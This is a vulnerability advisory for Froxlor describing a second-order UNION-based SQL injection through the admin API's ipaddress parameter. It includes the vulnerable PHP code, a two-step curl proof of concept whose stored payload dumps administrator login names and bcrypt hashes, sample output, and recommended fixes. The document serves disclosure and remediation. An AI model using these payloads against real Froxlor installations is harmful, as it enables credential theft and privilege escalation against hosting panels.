PT-2026-80320 · Packagist · Froxlor/Froxlor

Published

2026-08-18

·

Updated

2026-08-18

CVSS v3.1

7.2

High

VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

Details

The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSONlib/Froxlor/Api/Commands/Admins.php:251,358
php
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is array([...]) && non empty array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is array($ipaddress) && $ipaddress > 0
  ? json encode($ipaddress)  // ← attacker payload written to panel admins.ip
  : -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQLlib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
php
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
  // json decode restores the array; implode joins elements with no casting or escaping
  $ip where = "WHERE `id` IN (" . implode(", ", json decode($this->getUserDetail('ip'), true)) . ")";
}
$result stmt = Database::prepare(
  "SELECT * FROM `panel ipsandports` " . $ip where . ...
);
// Final SQL: SELECT * FROM panel ipsandports WHERE `id` IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

PoC

image
Prerequisites: Valid Froxlor admin API key with change serversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via Admins.add
bash
curl -s -u "APIKEY:SECRET" http://TARGET/api.php 
 -H "Content-Type: application/json" 
 -d '{
  "command": "Admins.add",
  "params": {
   "name": "x",
   "new loginname": "eviladmin",
   "email": "x@x.local",
   "admin password": "Passw0rd!123",
   "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel admins-- -"]
  }
 }'
The ip column of panel admins for eviladmin now contains:
["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel admins-- -"]
Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/admin index.php?page=ipsandports
Or directly via API:
bash
curl -s -u "EVIL APIKEY:EVIL SECRET" http://TARGET/api.php 
 -H "Content-Type: application/json" 
 -d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (localhost:8290):
json
{
 "data": {
  "list": [
   {
    "ip": "admin",
    "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
   },
   {
    "ip": "eviladmin",
    "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
   }
  ]
 }
}
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has change serversettings=1):
cmd
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{"command":"Admins.add","params":{"name":"x","new loginname":"poc","email":"x@x.local","admin password":"Passw0rd!1","ipaddress":["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel admins-- -"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
cmd
curl -su "POC APIKEY:POC SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{"command":"IpsAndPorts.listing"}"
Confirmed output from live instance (localhost:8290) — step 2 alone:
cmd
curl -su "evil key abc123:evil secret xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{"command":"IpsAndPorts.listing"}"
json
{
 "data": {
  "list": [
   { "ip": "admin",   "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
   { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
  ]
 }
}

Impact

Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
  • Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
  • Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
  • Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
  • Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

Fix

Option A (recommended) — Integer-cast all elements before implode:
php
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip ids = array map('intval', json decode($this->getUserDetail('ip'), true));
$ip where = "WHERE `id` IN (" . implode(", ", $ip ids) . ")";
Option B — Validate at storage time in Admins.add / Admins.update:
php
// lib/Froxlor/Api/Commands/Admins.php
if (is array($ipaddress)) {
  $ipaddress = array filter($ipaddress, 'is numeric');
}
'ip' => empty($ipaddress) ? "" : (is array($ipaddress) && count($ipaddress) > 0
  ? json encode(array map('intval', $ipaddress))
  : -1),
Apply the same fix to the identical pattern in Domains.php:1016.

Fix

SQL injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-W27M-RMMF-G5W4

Affected Products

Froxlor/Froxlor